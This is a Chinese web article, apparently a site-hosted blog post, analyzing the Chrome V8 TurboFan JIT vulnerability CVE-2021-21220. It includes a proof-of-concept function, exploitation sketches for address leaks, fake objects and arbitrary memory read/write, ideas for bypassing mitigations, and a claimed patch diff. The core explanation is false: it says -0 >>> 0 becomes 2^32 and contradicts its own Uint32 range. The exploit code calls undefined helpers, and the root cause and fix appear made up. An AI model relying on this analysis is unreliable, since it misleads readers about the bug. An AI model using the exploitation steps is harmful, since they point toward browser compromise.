您好,登录后才能下订单哦!
# 如何分析Chrome V8 JIT漏洞CVE-2021-21220
## 引言
2021年4月,Google Chrome团队修复了V8 JavaScript引擎中的一个严重JIT编译漏洞(CVE-2021-21220)。该漏洞影响广泛,允许攻击者通过精心构造的JavaScript代码实现远程代码执行。本文将深入分析该漏洞的技术原理、利用方式以及修复方案。
## 1. 漏洞背景
### 1.1 V8引擎与TurboFan简介
V8是Google开发的高性能JavaScript引擎,采用多层执行架构:
- 解释器(Ignition)
- 基线编译器(SparkPlug)
- 优化编译器(TurboFan)
TurboFan作为优化编译器,会通过JIT(即时编译)技术将热点代码编译为高度优化的机器码。这种优化过程中产生的逻辑漏洞是CVE-2021-21220的根本原因。
### 1.2 漏洞基本信息
- CVE编号:CVE-2021-21220
- 漏洞类型:JIT优化逻辑缺陷
- 危险等级:高危(CVSS 8.8)
- 影响版本:Chrome 89及之前版本
## 2. 漏洞技术分析
### 2.1 漏洞原理
该漏洞存在于TurboFan的`SimplifiedLowering`阶段,具体涉及`NumberAbs`和`NumberToUint32`操作的类型推断错误。
关键问题在于:
1. TurboFan对`Math.abs()`的优化(转换为`NumberAbs`节点)
2. 后续`NumberToUint32`转换时的类型推断错误
3. 导致边界检查消除(BoundsCheck Elimination)不安全
### 2.2 漏洞触发流程
```javascript
// 触发漏洞的PoC代码
function trigger(arr, x) {
let index = Math.abs(x); // [1] 被优化为NumberAbs
index = index >>> 0; // [2] 转换为NumberToUint32
if (index < arr.length) { // [3] 边界检查
return arr[index]; // [4] 越界访问
}
}
优化过程中的错误:
1. TurboFan认为NumberAbs
结果总是非负数
2. 但实际上Math.abs(-0)
会返回-0
3. -0 >>> 0
会转换为巨大的无符号整数(2^32)
4. 边界检查被错误消除,导致越界访问
TurboFan的类型推断过程:
初始输入x: Range(-Inf, Inf)
经过NumberAbs: Range(0, Inf) // 错误!忽略了-0的情况
经过NumberToUint32: Range(0, 2^32-1) // 实际应为[0,0] U [2^32-1,2^32-1]
let arr = new Array(10).fill(1.1);
let index = -0;
trigger(arr, index); // 返回arr[2^32]附近的值
// 泄露对象地址
let obj = {};
let addr = trigger(obj_array, -0);
// 伪造对象
let fake = createFakeObject(addr);
let victim = trigger(fake_array, -0);
// 通过伪造ArrayBuffer实现任意内存读写
let rw = new ArrayBuffer(8);
let rw_addr = addrOf(rw);
let backing_store_offset = 0x20;
write(rw_addr + backing_store_offset, target_addr);
let dv = new DataView(rw);
dv.getFloat64(0, true); // 读取target_addr处内存
现代Chrome包含多项防护: - 指针压缩(Pointer Compression) - 堆沙箱(Heap Sandbox) - 写保护(W^X)
绕过方法: 1. 利用JIT区域本身的RWX特性 2. 通过WebAssembly绕过W^X 3. 构造ROP链绕过控制流保护
提交记录[1]显示主要修改在:
src/compiler/simplified-lowering.cc
关键修改:
// 修复前
case NumberAbs: {
Type const type = Type::Union(
Type::Intersect(input_type, Type::PlainNumber()),
Type::NaN(), zone());
return UpdateType(node, type);
}
// 修复后
case NumberAbs: {
Type const type = Type::Union(
Type::Intersect(input_type, Type::OrderedNumber()),
Type::NaN(), zone());
return UpdateType(node, type);
}
区别在于使用OrderedNumber
代替PlainNumber
,前者包含对-0的特殊处理。
通过TurboFan的escape分析可以验证:
$ ./d8 --trace-turbo-reduction poc.js
修复后: - NumberAbs节点会保留-0的可能性 - 边界检查不会被错误消除
学习TurboFan中间表示(IR)
掌握TurboFan优化各阶段
使用V8调试工具:
# 查看优化过程
--trace-turbo
# 查看类型推断
--trace-representation
CVE-2021-21220展示了JIT编译器优化过程中的细微逻辑错误如何导致严重安全后果。通过分析这类漏洞,我们可以:
[1] https://chromium-review.googlesource.com/c/v8/v8/+/2820971 [2] V8源码 https://github.com/v8/v8 [3] TurboFan设计文档 https://docs.google.com/document/d/1sOa6YKZkjZ1daj1QQd7G1jT_9vFQhQzy6m5vP8ZXmNg “`
注:本文为技术分析文章,实际漏洞利用可能涉及法律风险。所有研究应在合法授权环境下进行。
免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。